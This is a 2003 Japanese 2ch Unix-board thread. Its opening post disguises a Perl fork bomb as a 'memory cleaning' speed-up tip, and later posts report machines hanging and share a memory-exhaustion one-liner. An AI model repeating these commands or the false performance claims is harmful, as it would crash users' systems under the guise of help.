- 1 名前：名無しさん＠お腹いっぱい。 [03/06/19 01:31.net]
- UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
- 205 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/30 22:05.net]
- おまいら無視しないでください
p l a n 9 を 使 え と 言 っ て る
- 206 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/30 22:07.net]
- なんすかそれ？
- 207 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/30 22:07.net]
- 死ね>>206
- 208 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/30 22:11.net]
- ・リソース制限かかっていないプロバイダのサーバー
・プロバイダのサーバーのメモリ不足解消CGIと言って公開する厨房
・それを便利でスゲェと思って使う厨房
3つそろったら最強だな。
- 209 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/30 22:14.net]
- そんなに褒められても困ります
- 210 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/30 23:08.net]
- 連打する意味がわからん。
- 211 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/30 23:26.net]
- linux では >151 の
/proc/sys/kernel/threads-max
が結論だろ
- 212 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 00:28.net]
- >>205
で、plan9でやった結果はどうだったんだ?
- 213 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 00:30.net]
- しらん。
rootとが神云々とか言ってたから
plan9ひっぱりだしてきただけだ
ｴｰﾝ
- 214 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 00:31.net]
- Unix系のOSにはプロセスが限界を超えるまで増えたら古いプロセスから順にkillするという実装があったような....
- 215 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 00:32.net]
- > プロセスが限界を超える
とりあえずこれ説明してみて
- 216 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 00:33.net]
- ということは、initから殺されるわけですな
- 217 名前：212 mailto:sage [03/07/01 00:34.net]
- >>213
つまり、plan9と言ってみたかっただけなのね。
plan9にはUnixのrootのようなすべてをつかさどるrootという概念が存在しないだけで
memoryを自由に使えるような権限のユーザーでやれば結果は同じのような気がするが。
- 218 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 00:36.net]
- >>216
すまそ。
古いではなく使われていないだった。
swap outされてるやつから順にkillされていく。
>>215
表現が悪かったね。
processes poolで確保されている量を越えてprocessが作られることを言いたかったわけだけれど。
- 219 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 01:18.net]
- >>216
それらしい現象をソラリスでみたことがある。
ただしroot じゃなかったが。
- 220 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 03:12.net]
- >>218
それはメモリ(物理+仮想)食いつぶした時の動作じゃないか？
メモリ馬鹿食いするプロセス動かしたらXサーバーがkillされちゃった
みたいな。
- 221 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 03:22.net]
- FreeBSDかNetBSDがランダムにプロセス殺すって記事は見たことあるけど
プロセスの重要度なんてカーネルは知らんからね
- 222 名前：名無しさん＠お腹いっぱい。 [03/07/01 04:56.net]
- Gentoo(gentoo-sources 2.4.20-r5 参考 ttp://www.gentoo.org/doc/ja/gentoo-kernel.xml)
では一般ユーザではとくに問題なし。
ストレス無くブラジング出来るし、デーモンも死なない。(ちなみにいま実行しながら入力してます)
止めたくなったらrootでログインして(そのままだとfork failed: リソースが一時的に利用できません となるので)
# killall perl
でOK。
ただrootでやったときはデーモン等は死なないものの、ほとんど固まってしまって
さらに終了させようにもどうにもならなくなったので様子を見て電源ボタンをおしました(泣
- 223 名前：↑ [03/07/01 04:59.net]
- 訂正です。
>デーモン等は死なないものの、
途中から確認する術が無くなったので、こう言い切るのは無理がありました。
- 224 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 12:26.net]
- なかなか面白いデータの取れるスレですね（ｗ
- 225 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/01 21:44.net]
- 横槍でゴメン。
このスレは、彼も応援してるヨ〜ン。
- 226 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/02 00:01.net]
- 危機管理
- 227 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/02 04:12.net]
- root で rm -rf / したら全部消えました。は只の大馬鹿者だし
rootで >>1 を動かしたら固まりました、もその仲間ではないか、と。
# sync;sync;sync
- 228 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/02 08:51.net]
- >>227
rootってWindowsのAdministratorよりも格段に危険なことできるからねぇ。
>>1みたいなことをなぜまずrootでやってしまう人がいるのか理解に苦しむ。
いつもrootでログインして、「俺、ミスしないから大丈夫っすよ」と根拠の無い自身を見せつけている人なのかしらん。
- 229 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/02 12:43.net]
- >>228
ユーザをrootしか作ってないとか。
友達でLinuxを家のPCに入れてる奴がそうだった。
大学で3年間UNIX使ってたし、
研究室の慣例で1年間、サーバの管理もやってたはずなんだが…
- 230 名前：うひひ mailto:sage [03/07/02 12:59.net]
- >>228-229
でもわかってる香具師はrootでｲｲﾝｼﾞｬﾈｰﾉ?
userにしろrootにしろファイルをﾊﾟﾂｲﾁ消しなんて行為は普通しないし
ﾁｮｲﾄ香ばしいことするときはuserにスイッチするし（うひひ
さすがにモレは素人だから普段はuserで使ってるが
家でも会社でもモレ用のWSには一切passwd入ってねーよ
ﾏﾝﾄﾞｸｾｰことはしない
- 231 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/02 18:05.net]
- >>230
ここは釣れませんよ
- 232 名前：222 [03/07/02 21:23.net]
- >>224
データを取るためのスレじゃなかったのでしょうか？(笑
- 233 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/02 21:35.net]
- >>230
HPユーザ代表つーことで実験結果よろしくｗ
- 234 名前：うひひ mailto:sage [03/07/03 00:20.net]
- >>233
ペロリっていうのが無いです。どーしようもないでつ
はにゃくメモリクリアしないとスマップもパンクしてしまいそうです
青いﾔｼでﾄﾝﾄﾝﾋﾟｰとインスツールしたいので緊急に急いでいまつ
おながいしまつ
- 235 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/03 00:26.net]
- (`-´).oO(酔っぱらってやがる…)
- 236 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/03 01:09.net]
- >>229
管理者教育をちゃんと受けてないんじゃないのか?
>>230
いや、わかってないからrootではいっちゃうんだろ。
...というのはつられたことになるのか?
- 237 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/03 03:39.net]
- autologin とか passwd なしは
わかるけど、root で作業というのは違うだろう。
- 238 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/03 10:08.net]
- >>237
root で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。
まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制
敷いてるのかな ?
- 239 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/03 17:30.net]
- 漏れは試験鯖つーかいつも遊んでる鯖があるからあえてrootでいじってる
業務鯖でrootはちょいとこわいですな
- 240 名前：名無しさん＠お腹いっぱい。 [03/07/04 00:07.net]
- おれ>>１は知らんけど>>61みたいなやつを会社の実験サーバで耐久テストして
ハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの
ボロいやつで。最近のは知らん。
みんな>>1ばっか報告してるんで>>61試して大丈夫か教えてくれよ。
- 241 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/04 00:30.net]
- おまいがやれ
- 242 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/04 18:46.net]
- ┏━━━━━━━━┓
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊○●＊＊＊┃
┃＊＊＊●○＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┗━━━━━━━━┛
- 243 名前： mailto:sage [03/07/04 18:58.net]
- ｵｾﾛ ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ ｵﾔｸｿｸ
- 244 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/04 21:16.net]
- ┏━━━━━━━━┓
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊●＊＊＊＊┃
┃＊＊＊●●＊＊＊┃
┃＊＊＊●○＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┗━━━━━━━━┛
- 245 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/04 21:42.net]
- なんでネタがなくなるとオセロなんだよぉ〜萎
つーかおまいらがんがんデータ取りやがれ
おながいします。
- 246 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/04 22:06.net]
- 取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。
- 247 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/04 23:32.net]
- 有意？にちゃんで？
ﾌﾟ
- 248 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/05 00:05.net]
- ┏━━━━━━━━┓
┃○○○○○○○○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊●＊＊＊○┃
┃○＊＊●●＊＊○┃
┃○＊＊●○＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
- 249 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/05 00:13.net]
- >>247は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師
学校ではいつも独りぼっち
- 250 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/05 00:23.net]
- 有意 != 有意義
- 251 名前：名無しさん＠お腹いっぱい。 [03/07/05 03:23.net]
- linuxのhdparm(8)を見ると、
Dangerous とか extreme caution
という単語がやたら出てくる。
まあDangerousといってもﾊﾞｸﾊﾂするわけじゃないだろうし
こういうのを使って
"簡単！ディスククリーニング" は、できないだろうか。
- 252 名前：名無しさん＠お腹いっぱい。 [03/07/05 03:25.net]
- ┏━━━━━━━━┓
┃○○○○○○○○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊●＊＊＊○┃
┃○＊＊●●＊＊○┃
┃○＊＊●●●＊○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
- 253 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/05 09:57.net]
- >>251
マザーが、より速度の高いDMA(66)とかをサポートしていて
HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると
HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。
- 254 名前：名無しさん＠お腹いっぱい。 [03/07/05 22:35.net]
- Linux 2.4.20-gentoo-r5でユーザー権限にて>>1を試すと、、、
で2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも
無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out.
しかたなく電源5秒押し。
222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK！
- 255 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/05 22:40.net]
- 制限加えてない状態でやると、そうなるだろうねぇ。
- 256 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/05 22:59.net]
- ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの？
- 257 名前：名無しさん＠お腹いっぱい。 mailto:age [03/07/05 23:36.net]
- gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。
- 258 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 00:54.net]
- むしろ、そのノートPCがあやしいかもしれん。
- 259 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 02:03.net]
- >254
会社にある６台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
- 260 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 02:03.net]
- 定量的な考察ができない連中ばかりいるのはこのスレですか？
- 261 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 02:11.net]
- >>260
煽りなんだろうけど、いまいち意味がわからない。
- 262 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 02:45.net]
- >>1 で落ちない、というだけでは十分ではない。
- 263 名前：222 [03/07/06 03:10.net]
- 私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。
ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。
- 264 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 03:12.net]
- じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・
- 265 名前：222 mailto:sage [03/07/06 03:44.net]
- 運？
とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
- 266 名前：訂正 mailto:sage [03/07/06 03:53.net]
- ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
- 267 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 07:10.net]
- それはもうこのスレとは無関係の固有問題かと
- 268 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 10:06.net]
- >>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。
一桁減らして
perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
- 269 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 10:12.net]
- perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!
gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ？
- 270 名前：222 mailto:sage [03/07/06 11:53.net]
- 0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'
ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
- 271 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 12:30.net]
- 結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。
Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。
メモリとスワップの食い潰しは制限できるもんだろうか？
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。
FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
- 272 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/06 12:49.net]
- メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
- 273 名前：名無しさん＠お腹いっぱい。 [03/07/06 14:32.net]
- ┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
- 274 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/07 00:34.net]
- ┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
- 275 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/08 10:37.net]
- minfree近所まで減ったらOSが勝手にやってくれるのに・・・
なんでいちいちンなこと実行するんですか？
- 276 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/09 00:31.net]
- ここに真面目なひとが....
- 277 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/09 00:36.net]
- × 真面目な
○ 空気を読む神経回路が備わってない
- 278 名前：tatibana mailto:sage [03/07/12 13:20.net]
- >>150
失礼ですね
どこの誰かもわからない低能と一緒にしないでいただきたい
- 279 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 280 名前：名無しさん＠お腹いっぱい。 [03/07/28 14:03.net]
- 結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの？
- 281 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/28 14:18.net]
- メモリクリーニングするといいことあるの？
- 282 名前：名無しさん＠お腹いっぱい。 [03/07/28 15:09.net]
- 勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
- 283 名前：名無しさん＠お腹いっぱい。 [03/07/28 16:12.net]
- >>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
- 284 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 285 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 286 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/28 18:06.net]
- それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
- 287 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/28 18:17.net]
- メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
- 288 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/28 19:39.net]
- なんか妙なメモリ観が出たな。おもしろいから発展させてよ
- 289 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/28 19:57.net]
- まさにドズという欠陥OSとそのアプリがもたらした電波だな。
- 290 名前： mailto:sage [03/07/28 20:24.net]
- 犬板で割とよくある質問
----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS
freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。
そんなコマンドはないの？
くだらねえ質問はここに書きこめ！ Part53 [Linux]
pc.2ch.net/test/read.cgi/linux/1058846630/177
- 291 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/29 00:17.net]
- >>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。
ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
- 292 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/29 01:32.net]
- >>291
漏れはむしろ、
MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人
だと思うのだがどうだ？
- 293 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/29 08:21.net]
- >>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?
メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
- 294 名前：名無しさん＠お腹いっぱい。 [03/07/29 10:36.net]
- 俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
- 295 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/29 13:16.net]
- >>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな
- 296 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/29 13:40.net]
- cmalloc
- 297 名前：名無しさん＠お腹いっぱい。 [03/07/29 14:28.net]
- cmallocってC言語・・・？
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね？
- 298 名前：名無しさん＠お腹いっぱい。 [03/07/29 14:57.net]
- あはは
- 299 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 300 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 301 名前：名無しさん＠お腹いっぱい。 [03/07/29 15:44.net]
- 埋めるのなんざmemsetで一発だろ
- 302 名前：名無しさん＠お腹いっぱい。 [03/07/29 15:49.net]
- free(calloc(N,1));
- 303 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 304 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/30 00:28.net]
- >>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
- 305 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/07/30 07:29.net]
- memsetとかallocとかいってるﾔｼ・・・
ネタだよね？
|
 |
